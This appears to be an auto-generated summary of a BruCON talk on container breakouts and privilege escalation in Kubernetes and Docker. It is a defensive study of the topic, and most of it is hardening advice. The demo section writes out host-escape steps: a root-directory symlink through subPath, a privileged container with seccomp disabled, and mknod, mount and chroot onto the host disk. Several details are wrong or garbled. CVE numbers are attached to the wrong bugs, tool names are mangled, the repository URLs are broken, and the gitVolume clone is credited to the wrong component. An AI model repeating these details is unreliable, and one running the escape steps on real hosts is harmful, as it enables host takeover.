Outside the Box: Breakouts and Privilege Escalation in Container Environments

Craig Ingram (Principal Platform Security Engineer · Salesforce), Etienne Stalmans (Security Researcher · Salesforce)

BruCON 0x0A · Day 3

Overview

In this compelling talk from BruCON, Craig Ingram and Etienne Stalmans from Salesforce (formerly Heroku) delve into the critical, often overlooked, security challenges of multi-tenant container environments. Moving beyond the typical focus on securing container images or patching kernel 0-days, the speakers illuminate how attackers can achieve full host compromise through common misconfigurations, vulnerabilities in orchestration platforms like Kubernetes, and dependencies in the container runtime. Their research demonstrates that sophisticated exploits are often unnecessary when fundamental security controls are bypassed or simply not enabled.

Watch on YouTube

Visual summary for Outside the Box: Breakouts and Privilege Escalation in Container Environments by Craig Ingram, Etienne Stalmans
Visual summary for Outside the Box: Breakouts and Privilege Escalation in Container Environments by Craig Ingram, Etienne Stalmans

Key moments

  1. 0:00 Talk scope: Multi-tenant container environment security
  2. 5:00 Kubernetes symlink vulnerability for host access
  3. 8:00 Git volume command injection for root shell
  4. 14:00 Privileged container breakout via misconfiguration
  5. 20:00 Solutions: Seccomp, capabilities, and user namespaces
  6. 26:00 Cloud metadata API and control plane insecurities
  7. 36:00 Automated tools for Kubernetes cluster security

Outside the Box: Breakouts and Privilege Escalation in Container Environments

Speakers: Craig Ingram (Principal Platform Security Engineer, Salesforce); Etienne Stalmans (Security Researcher, Salesforce)

Conference: BruCON

YouTube: https://www.youtube.com/watch?v=QPCI69vKN04

Overview

In this compelling talk from BruCON, Craig Ingram and Etienne Stalmans from Salesforce (formerly Heroku) delve into the critical, often overlooked, security challenges of multi-tenant container environments. Moving beyond the typical focus on securing container images or patching kernel 0-days, the speakers illuminate how attackers can achieve full host compromise through common misconfigurations, vulnerabilities in orchestration platforms like Kubernetes, and dependencies in the container runtime. Their research demonstrates that sophisticated exploits are often unnecessary when fundamental security controls are bypassed or simply not enabled.

The core of their presentation centers on the perspective of a platform operator running untrusted customer code in a shared environment. This "remote code execution as a service" model, prevalent in Platform-as-a-Service (PaaS), CI/CD, and serverless offerings, introduces a unique threat landscape where a local privilege escalation on the host machine becomes a critical remote compromise. Ingram and Stalmans showcase real-world examples, including vulnerabilities they discovered in Kubernetes itself, to underscore the importance of robust patch management, secure default configurations, and comprehensive defense-in-depth strategies for the underlying infrastructure.

This talk is crucial for anyone involved in operating or securing containerized applications, particularly in multi-tenant or cloud-native environments. It highlights the expanded attack surface introduced by container orchestration and the necessity of understanding how seemingly low-risk issues can be weaponized for complete system takeover. By dissecting specific attack vectors and offering actionable defensive implications, the speakers empower operators and security professionals to proactively harden their container infrastructure against persistent threats.

Background

▶ Watch: Talk scope: Multi-tenant container environment security (0:00)

The proliferation of containerization technologies like Docker and orchestration platforms such as Kubernetes has revolutionized how applications are built, deployed, and scaled. However, this paradigm shift has also introduced a new set of security challenges, particularly in multi-tenant environments where organizations run code from various, potentially untrusted, sources. Platforms offering "remote code execution as a service"—including PaaS providers, hosted CI/CD pipelines, and serverless functions—inherently trust user-supplied code to execute on shared infrastructure. This trust model fundamentally alters the risk profile of traditional vulnerabilities.

Historically, security discussions around containers often focused on the software supply chain (e.g., vulnerabilities in base images, outdated libraries within containers) or advanced kernel exploits (e.g., 0-day syscall vulnerabilities). While these remain important, Ingram and Stalmans argue that they often overshadow more prevalent and equally devastating attack vectors. Many existing talks delve into hardening individual containers or securing Dockerfiles, but few address the operator's perspective in a multi-tenant setup, where the container runtime and its orchestration layer become the primary targets.

The problem is exacerbated by the increasing complexity of modern container stacks. Before the ubiquity of Kubernetes, many platforms relied on homegrown orchestration solutions. Now, with Kubernetes becoming a de facto standard, organizations are adopting a powerful yet intricate system. Kubernetes, while offering immense flexibility, also presents a vast new attack surface. This includes vulnerabilities within Kubernetes itself, its dependencies (like git), and the myriad ways it can be misconfigured. Furthermore, what might be considered a "low severity" local privilege escalation in a single-tenant environment—requiring prior access to the system—transforms into a "critical severity" remote code execution in a multi-tenant PaaS, where initial access is implicitly granted to every user. The speakers emphasize that attackers don't need exotic kernel 0-days; they can leverage common Linux primitives and configuration mistakes to achieve full host compromise, making foundational security principles more critical than ever.

Key Findings

▶ Watch: Git volume command injection for root shell (8:00)

The research presented by Craig Ingram and Etienne Stalmans unveiled several critical findings regarding container security, particularly in multi-tenant Kubernetes environments:

  1. Orchestration Platform Vulnerabilities are Critical: The talk demonstrated that vulnerabilities within Kubernetes itself, or its core dependencies, can lead to immediate host compromise. Etienne Stalmans notably discovered a critical vulnerability related to git's recursive cloning behavior, which, when triggered by Kubernetes' gitVolume feature, allowed for root access to the host before the user container even started. Similarly, a symlink vulnerability in Kubernetes' subPath volume mounts allowed for host filesystem access. These highlight that the control plane is a prime target.
  1. Local Privilege Escalations Become Remote: In a multi-tenant "RCE-as-a-Service" environment, any local privilege escalation vulnerability (e.g., a common Linux vulnerability rated "low severity" by a distro vendor) inherently becomes a remote code execution exploit for an attacker. Since users are given an initial shell within a container, they can then leverage these "local" issues to break out and gain root on the underlying host.
  1. Misconfigurations are Rampant and Highly Exploitable: The speakers emphasized that attackers don't need 0-days; they often exploit common misconfigurations. Running containers with privileged: true, disabling default seccomp profiles, dropping capabilities incorrectly, or exposing sensitive endpoints like the Docker socket, Kubernetes API, or cloud metadata API are frequently observed issues that lead directly to host compromise. These "fail open" defaults or poorly understood custom configurations are a goldmine for attackers.
  1. Patch Management Extends Beyond Containers: While scanning container images for vulnerabilities is important, the talk stressed that continuous patch management of the host operating system, the Kubernetes control plane, and all supporting software (e.g., docker, containerd, git) is equally, if not more, vital. Neglecting the underlying infrastructure leaves significant attack surface open, even if container images themselves are clean.
  1. New Attack Surfaces Emerge with Abstraction: The move to container orchestration introduces new attack surfaces. Beyond the host and the container, the control plane (Kubernetes API, kubelet), network configurations, and even internal Docker components (like containerd.sock as a bypass for docker.sock restrictions) become targets. Attackers will probe these new interfaces for weaknesses.

Technical Deep Dive

▶ Watch: Privileged container breakout via misconfiguration (14:00)

The talk provided a deep dive into several critical attack vectors, demonstrating how seemingly minor misconfigurations or vulnerabilities in the orchestration layer can lead to full host compromise.

Kubernetes Symlink Vulnerability (CVE-2018-1002105)

One of the most impactful vulnerabilities demonstrated involved an improper symlink following issue within Kubernetes' subPath volume mounting feature. This vulnerability, tracked as CVE-2018-1002105, allowed containers to gain full access to the host filesystem.

The attack utilized a specific YAML configuration for a Kubernetes pod:

  1. A volume, say vault, is declared and mounted into the pod. This volume exists on the host filesystem.
  2. The first container in the pod creates a symlink from a directory within vault (e.g., /vault/foo) to the root directory of the host filesystem (/).
  3. A second container then attempts to mount this same vault volume, but crucially, it specifies a subPath that points to the maliciously created symlink (e.g., subPath: foo).
  4. The kubelet process, which is the agent running on each node and responsible for managing pods, handles this volume mount. Because kubelet typically runs as root on the host and improperly followed the symlink, it would mount the host's root filesystem into the second container at the specified subPath.

This meant that from within the second, supposedly isolated, container, an attacker could navigate the entire host filesystem, read sensitive files, and potentially modify the system, effectively escaping the container boundary and gaining root privileges on the underlying node.

Git Volume Command Injection (CVE-2018-1000021)

Etienne Stalmans uncovered another critical vulnerability related to Kubernetes' gitVolume option and a flaw in the git client itself (CVE-2018-1000021). This allowed for remote code execution on the host before the container was even created.

The gitVolume feature allows a Kubernetes pod definition to specify a remote Git repository. The kube-controller-manager, running as root on the Kubernetes control plane, would clone this repository to create a volume for the container. The vulnerability stemmed from git's behavior when cloning recursively. If a malicious Git repository contained specially crafted submodules or a .git/config file, git could be tricked into executing arbitrary commands during the recursive clone operation.

The attack scenario involved:

  1. An attacker creates a malicious Git repository designed to trigger command injection upon recursive cloning.
  2. The attacker then defines a Kubernetes pod using a gitVolume that points to this malicious repository and includes the -recursive flag (or relies on an environment that performs recursive cloning by default).
  3. When Kubernetes attempts to clone this repository to provision the volume, the git client executes the malicious code.
  4. Since the kube-controller-manager runs as root, the attacker immediately gains a root shell on the host machine, even before the intended container payload starts.

This vulnerability also had a broader impact, manifesting in other environments. The speakers highlighted that Docker Build processes, when instructed to build from a remote Git repository (docker build [email protected]/malicious/repo.git), often perform recursive cloning by default. This meant an attacker could provide a seemingly innocuous Dockerfile in a Git repo, but the underlying git vulnerability would grant them root access to the build environment, affecting CI/CD systems or Docker Cloud services that made this mistake.

Misconfigurations: Privileged Containers and Weak Protections

Beyond specific vulnerabilities, the talk heavily emphasized that common misconfigurations are equally dangerous.

  1. Privileged Containers: Running a container with privileged: true effectively removes almost all isolation mechanisms. A privileged container has nearly all Linux capabilities enabled and can access host devices. The speakers demonstrated this by running a container with privileged: true and security-opt seccomp=unconfined. Inside such a container, tools like my-container (by JC Frizzle) quickly reveal the extensive access. An attacker can then easily identify host disk partitions (e.g., /dev/vda1), use mknod to create a block device for it, mount it, and then chroot into the host's root filesystem, gaining full control.
  1. Inadequate Kernel-Level Protections:
  • Seccomp (Secure Computing Mode): This Linux primitive limits the system calls a process can make. Docker provides a strong default seccomp profile, but operators often disable it (seccomp: unconfined) without understanding the implications, opening a huge attack surface. A naive blacklist approach for seccomp is also insufficient, as attackers can often find alternative syscalls (e.g., mknod vs. mknodat). A whitelist approach is strongly recommended.
  • Capabilities: Linux capabilities are granular permissions that break down the traditional root monolithic privilege into smaller, distinct units (e.g., CAP_NET_RAW for raw network sockets, CAP_SYS_ADMIN for system administration tasks). By default, Docker drops many capabilities, but attackers can exploit misconfigurations where too many are granted.
  • User Namespaces: These isolate user IDs and group IDs between the container and the host. Properly configured user namespaces map the container's root user to an unprivileged user on the host, significantly limiting damage even if a container-internal root compromise occurs.

Control Plane Insecurities

The control plane itself presents a significant attack surface:

  • Exposed Docker Socket (docker.sock): Granting a container access to the Docker socket is equivalent to granting root on the host, as the container can then issue commands to the Docker daemon, including running other privileged containers or mounting the host filesystem.
  • Exposed Kubernetes API: Misconfigured Role-Based Access Control (RBAC) or public exposure of the Kubernetes API allows attackers to create, modify, or delete cluster resources, including deploying their own malicious pods for crypto-mining or further attacks. Even a read-only API can provide valuable reconnaissance.
  • containerd.sock Bypass: The speakers noted that even if docker.sock is locked down, access to containerd.sock (the underlying container runtime component) can sometimes bypass these restrictions, allowing attackers to achieve similar malicious actions.
  • Cloud Metadata API Access: The cloud metadata API (e.g., 169.254.169.254 on AWS/GCP) provides critical information and credentials (like IAM roles, service account keys) to instances. If containers can access this endpoint, an attacker can perform Server-Side Request Forgery (SSRF) to retrieve sensitive credentials. A notable example cited involved an SSRF to GCP metadata endpoints, allowing the retrieval of Kubernetes service account API keys, which were then used to spin up malicious Kubernetes pods.

These detailed technical breakdowns underscore the need for a multi-layered defense strategy, addressing both specific vulnerabilities and fundamental configuration hardening.

Demo / Proof of Concept

▶ Watch: Cloud metadata API and control plane insecurities (26:00)

The talk featured three key demonstrations, each illustrating a distinct method of container breakout or privilege escalation:

1. Kubernetes subPath Symlink Vulnerability

This demo showcased the CVE-2018-1002105 vulnerability, allowing a container to access the host's root filesystem.

  • Setup: A miniKube single-node Kubernetes cluster was used for the demonstration. The speaker first SSHed directly into the underlying host to create a distinct file (e.g., /tmp/host_file.txt) on the host's root filesystem, serving as a marker.
  • Attack: A YAML manifest was deployed, defining a pod with two containers.
  • The first container mounted a volume (vault) and, upon startup, created a symlink: ln -s / /vault/hosts_root. This symlink mapped the host's root directory to a path within the volume.
  • The second container also mounted the vault volume, but critically, it used the subPath option to mount /vault/hosts_root.
  • Result: After the pod spun up, the speaker executed a shell into the second container. Navigating to the mounted volume, they could successfully ls and cat the /tmp/host_file.txt that was created on the host, proving that the container had successfully broken out and gained access to the host's root filesystem.

2. Kubernetes gitVolume Command Injection

This demonstration highlighted the CVE-2018-1000021 vulnerability, achieving root access to the host before the container fully started.

  • Setup: Again, a miniKube cluster was used. The speaker set up a netcat listener on a separate machine to catch an incoming reverse shell.
  • Attack: A malicious Git repository was crafted, containing a .git/config file or submodule setup designed to execute a reverse shell command upon recursive cloning. A Kubernetes YAML manifest was then created, specifying a gitVolume that pointed to this malicious repository and included a -recursive flag.
  • Result: As soon as the pod definition was applied to Kubernetes, the kube-controller-manager (running as root) attempted to clone the repository. The malicious git configuration immediately triggered the reverse shell, which connected back to the netcat listener. The shell demonstrated that it was running as root on the host machine, not just within a container, and had full access to the host's filesystem, illustrating a pre-container-creation compromise. The speakers also noted this attack vector's applicability to Docker build environments, where docker build -f Dockerfile [email protected]/malicious/repo.git could yield similar results on build servers.

3. Privileged Container and Seccomp Bypass

This demo illustrated how common misconfigurations, specifically running a privileged container with a disabled seccomp profile, lead to effortless host compromise.

  • Setup: A standard Docker container was launched with the command docker run --privileged --security-opt seccomp=unconfined -it alpine sh.
  • Analysis: Inside the container, the speaker ran my-container, a tool that provides detailed information about the container's runtime environment. This immediately showed that the container had all Linux capabilities enabled and no seccomp restrictions.
  • Attack: The attacker then identified the host's main disk partition (e.g., /dev/vda1) by inspecting /proc/partitions. Using the mknod command (which would typically be blocked by a default seccomp profile or dropped capabilities), they created a block device for /dev/vda1 within the container. Next, they created a directory (e.g., /host_root) and mounted the newly created block device into it: mount /dev/block/vda1 /host_root.
  • Result: With the host's root filesystem mounted, the attacker could then use chroot /host_root to effectively change their root directory to the host's filesystem, gaining full root access and control over the underlying machine. This demonstrated how easily host control can be achieved when fundamental isolation mechanisms are removed.

These demonstrations served as powerful proof points, reinforcing the speakers' assertion that container breakouts often stem from well-understood vulnerabilities and misconfigurations rather than exotic, unknown exploits.

Defensive Implications

▶ Watch: Automated tools for Kubernetes cluster security (36:00)

The talk concluded with a robust set of defensive strategies for operators of multi-tenant container environments, emphasizing a layered security approach and a shift in mindset.

1. Robust Patch Management

  • Beyond Container Images: It's not enough to scan and patch vulnerabilities within your container images. Critical focus must be placed on continuously updating the host operating system, the Kubernetes control plane components (e.g., kube-controller-manager, kubelet), and all supporting software (e.g., docker, containerd, git). The gitVolume vulnerability demonstrated that even a dependency of the orchestration layer can lead to root compromise.
  • Understand Cloud Providers: If using a managed Kubernetes service (e.g., EKS, GKE), understand your cloud provider's patching cadence and what they guarantee to update (kernel, control plane, dependencies). Ensure your responsibilities are clearly defined and met.

2. Secure Configuration Defaults and Hardening

  • Seccomp and Capabilities:
  • Use Defaults: Leverage Docker's strong default seccomp profile and capability set. These are designed to be secure and sufficient for 99.9% of workloads.
  • Whitelist, Not Blacklist: If custom seccomp profiles are necessary, adopt a whitelist approach (allow specific syscalls) rather than a blacklist (deny specific syscalls). This is more resilient to bypasses.
  • Drop All, Add Back: For capabilities, start by dropping all unnecessary capabilities and then add back only those explicitly required by the application. Combine seccomp and capabilities for a layered defense.
  • Empirical Evidence: Heroku, for example, mitigated 6-7 kernel vulnerabilities through their strong seccomp and capability profiles, even before kernel patches were available.
  • Avoid Privileged Containers: Never run containers with privileged: true unless absolutely unavoidable and with extreme caution. Modern tools like img and buildkit allow container builds without requiring privileged access.
  • User Namespaces: Implement user namespaces to map the container's root user to an unprivileged user on the host, limiting the impact of a container-internal root compromise.

3. Strict Access Control (RBAC)

  • Kubernetes RBAC: Enable and configure Role-Based Access Control (RBAC) in Kubernetes. This is typically on by default in managed services but requires careful configuration in self-hosted clusters.
  • Disable Service Account Token Mounts: For most application workloads, containers do not need to interact with the Kubernetes API. Disable the automatic mounting of the service account token for untrusted pods to prevent unauthorized API access.
  • Strong Operator Authentication: Require operators to authenticate to the Kubernetes API using strong mechanisms like third-party IAM or OpenID Connect, rather than static tokens.
  • Block Anonymous Kubelet Access: Use network policies to prevent containers from accessing the anonymous kubelet endpoint on the node, which can expose sensitive information.

4. Network Isolation and Metadata Concealment

  • Default Deny Network Policies: In multi-tenant environments, implement a default deny network policy that prevents pods from communicating with each other within the cluster. Only explicitly allow necessary communication paths.
  • Firewall Cloud Metadata API: Block containers from accessing the cloud metadata API endpoint (169.254.169.254). Solutions include:
  • Cloud provider features (e.g., Google's metadata proxy/concealment in GKE).
  • Third-party tools like gupta-iam (which uses IP table rules).
  • Manual network policies or CNI plugins configured to block this access. This prevents SSRF attacks that can steal credentials.

5. Admission Controllers and Policy Enforcement

  • Admission Controllers: Leverage Kubernetes admission controllers as gatekeepers to enforce security policies before objects are created or modified in the cluster.
  • PodSecurityPolicy: Enforce granular controls on pods, such as requiring specific seccomp profiles, dropping capabilities, disallowing privileged containers, and preventing host path mounts.
  • AlwaysPullImages: Prevent caching of private container images in multi-tenant environments, ensuring images are always fetched from the source registry.
  • ResourceQuotas: Prevent "noisy neighbor" issues and resource exhaustion by limiting CPU, memory, and other resources per pod or namespace.
  • ImagePolicyWebhook: Integrate security scanning tools (like Clair) into the deployment pipeline, ensuring only scanned and approved images are allowed to run.

6. Automation and Continuous Security Assessment

  • CIS Kubernetes Benchmark: Utilize tools like kube-bench and kube-auto-analyzer to continuously assess your Kubernetes clusters against the CIS Kubernetes Benchmark. Automate these checks in your CI/CD pipeline.
  • Static Analysis of YAML: Integrate tools like kube-sec.io into your version control system and CI pipeline to perform static analysis of Kubernetes YAML manifests, flagging insecure configurations (e.g., privileged: true).
  • Attack Simulation (kube-hunter): Use tools like kube-hunter to actively test your cluster's security posture by simulating attacks and validating that your defensive controls are effective. This helps identify blind spots and provides actionable insights for hardening.

By implementing these comprehensive defensive measures, organizations can significantly reduce their attack surface and build more resilient multi-tenant container environments, moving beyond reactive patching to a proactive security posture.

Key Takeaways

  • Container Breakouts Don't Require 0-Days: The most impactful attacks often leverage common misconfigurations, known vulnerabilities in orchestration platforms (like Kubernetes), or flaws in underlying dependencies (like git). Elite kernel 0-days are rarely needed for host compromise.
  • Local Privilege Escalations are Critical in Multi-Tenant Environments: In "RCE-as-a-Service" scenarios (PaaS, CI/CD, FaaS), any local privilege escalation on the host machine immediately translates to a critical remote code execution vulnerability, as attackers already have initial access.
  • Patch Management Must Extend to the Entire Stack: Beyond scanning container images, it's crucial to continuously patch the host OS, Kubernetes control plane, and all supporting software (Docker, containerd, git). Neglecting the underlying infrastructure creates significant attack surface.
  • Secure Defaults for Seccomp and Capabilities are Non-Negotiable: Leverage Docker's strong default seccomp profiles and capability sets. Avoid running privileged containers, prefer whitelist approaches for seccomp, and drop all unnecessary capabilities, adding back only what's essential.
  • Robust Access Control and Network Policies are Foundational: Implement strong RBAC, disable service account token mounts for untrusted pods, and enforce network policies that block inter-pod communication by default. Crucially, prevent container access to the cloud metadata API.
  • Automate Security Checks and Policy Enforcement: Integrate tools like kube-bench, kube-sec.io, and kube-hunter into your CI/CD pipelines to continuously assess cluster security, enforce secure configurations via admission controllers, and validate defenses proactively.

About the Speaker(s)

Craig Ingram is a Principal Platform Security Engineer at Salesforce. Previously, he worked alongside Etienne Stalmans on the product security team at Heroku. In his current role, he has transitioned to a software engineering position on the runtime team, where he is directly involved in building and maintaining the infrastructure responsible for running and scheduling customer containers. His work provides him with a unique perspective, bridging the gap between security research and the practical implementation of secure container platforms.

Etienne Stalmans is a Security Researcher and Platform Security Engineer at Salesforce (Heroku). A significant part of his daily work involves looking after container security, focusing on preventing breakouts and proactively identifying vulnerabilities in container environments. Etienne has a keen interest in security research, particularly in discovering ways to abuse legitimate functionality in unexpected ways, a skill that led to his discovery of the critical gitVolume vulnerability in Kubernetes demonstrated in this talk. His expertise lies in deep technical analysis of container runtimes and orchestration platforms.

Reviews

→ Top-rated talks at BruCON 0x0A

All talks from BruCON 0x0A